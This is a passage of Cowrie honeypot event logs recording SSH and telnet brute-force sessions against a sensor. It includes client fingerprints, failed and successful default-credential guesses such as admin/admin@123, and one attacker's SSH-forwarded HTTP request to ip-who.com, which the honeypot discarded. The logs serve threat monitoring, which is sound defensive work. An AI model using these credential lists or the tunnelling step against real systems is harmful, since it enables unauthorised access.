fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:53.861924Z","src_ip":"27.79.44.54","session":"76ea8249f94c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:55.542262Z","src_ip":"27.79.44.54","session":"76ea8249f94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.44.54","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:55.810296Z","session":"76ea8249f94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:56.074250Z","src_ip":"27.79.44.54","session":"76ea8249f94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:56.078617Z","src_ip":"27.79.44.54","session":"76ea8249f94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:57.031053Z","src_ip":"27.79.44.54","session":"76ea8249f94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60544,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d954746801","protocol":"ssh","message":"New connection: 103.15.226.202:60544 (10.17.0.5:22) [session: f6d954746801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:54:55.953836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:54:55.958796Z","src_ip":"103.15.226.202","session":"f6d954746801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:54:56.204402Z","src_ip":"103.15.226.202","session":"f6d954746801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apps_mgr","password":"apps_mgr","message":"login attempt [apps_mgr/apps_mgr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:54:56.940812Z","src_ip":"103.15.226.202","session":"f6d954746801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:54:58.189502Z","src_ip":"103.15.226.202","session":"f6d954746801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":6682,"dst_ip":"159.203.135.109","dst_port":22,"session":"373976ed1568","protocol":"ssh","message":"New connection: 193.24.211.100:6682 (159.203.135.109:22) [session: 373976ed1568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:05.786731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:05.800539Z","src_ip":"193.24.211.100","session":"373976ed1568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:05.899858Z","src_ip":"193.24.211.100","session":"373976ed1568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"christian","message":"login attempt [root/christian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:06.403575Z","src_ip":"193.24.211.100","session":"373976ed1568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:07.516003Z","src_ip":"193.24.211.100","session":"373976ed1568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.124.92.11","src_port":37024,"dst_ip":"159.203.135.109","dst_port":22,"session":"759328ca109e","protocol":"ssh","message":"New connection: 125.124.92.11:37024 (159.203.135.109:22) [session: 759328ca109e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:35.868456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:35.873587Z","src_ip":"125.124.92.11","session":"759328ca109e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:55:36.107539Z","src_ip":"125.124.92.11","session":"759328ca109e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":43438,"dst_ip":"159.203.135.109","dst_port":22,"session":"3de18a9e0822","protocol":"ssh","message":"New connection: 27.79.44.54:43438 (159.203.135.109:22) [session: 3de18a9e0822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:56:09.404774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:56:09.409404Z","src_ip":"27.79.44.54","session":"3de18a9e0822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:56:09.891766Z","src_ip":"27.79.44.54","session":"3de18a9e0822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:56:11.387552Z","src_ip":"27.79.44.54","session":"3de18a9e0822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:56:12.706338Z","src_ip":"27.79.44.54","session":"3de18a9e0822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:57:35.903849Z","src_ip":"125.124.92.11","session":"759328ca109e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43426,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd17bfbe8015","protocol":"ssh","message":"New connection: 103.15.226.202:43426 (10.17.0.5:22) [session: cd17bfbe8015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:58:29.297661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:58:29.306162Z","src_ip":"103.15.226.202","session":"cd17bfbe8015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:58:29.554617Z","src_ip":"103.15.226.202","session":"cd17bfbe8015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hmsftp","password":"MdnFtp_R2","message":"login attempt [hmsftp/MdnFtp_R2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:58:30.296955Z","src_ip":"103.15.226.202","session":"cd17bfbe8015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:58:31.548567Z","src_ip":"103.15.226.202","session":"cd17bfbe8015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.58","src_port":39474,"dst_ip":"10.17.0.5","dst_port":23,"session":"a79ff3ccf4c5","protocol":"telnet","message":"New connection: 85.217.149.58:39474 (10.17.0.5:23) [session: a79ff3ccf4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:59:05.772405Z"}
{"eventid":"cowrie.session.closed","duration":29.985332012176514,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:59:35.757599Z","src_ip":"85.217.149.58","session":"a79ff3ccf4c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.6.128","src_port":37094,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dfeb864afc4","protocol":"ssh","message":"New connection: 116.110.6.128:37094 (159.203.135.109:22) [session: 5dfeb864afc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:59:41.114879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:59:41.561701Z","src_ip":"116.110.6.128","session":"5dfeb864afc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:59:41.595511Z","src_ip":"116.110.6.128","session":"5dfeb864afc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:59:44.209863Z","src_ip":"116.110.6.128","session":"5dfeb864afc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:59:46.224488Z","src_ip":"116.110.6.128","session":"5dfeb864afc4","protocol":"ssh"}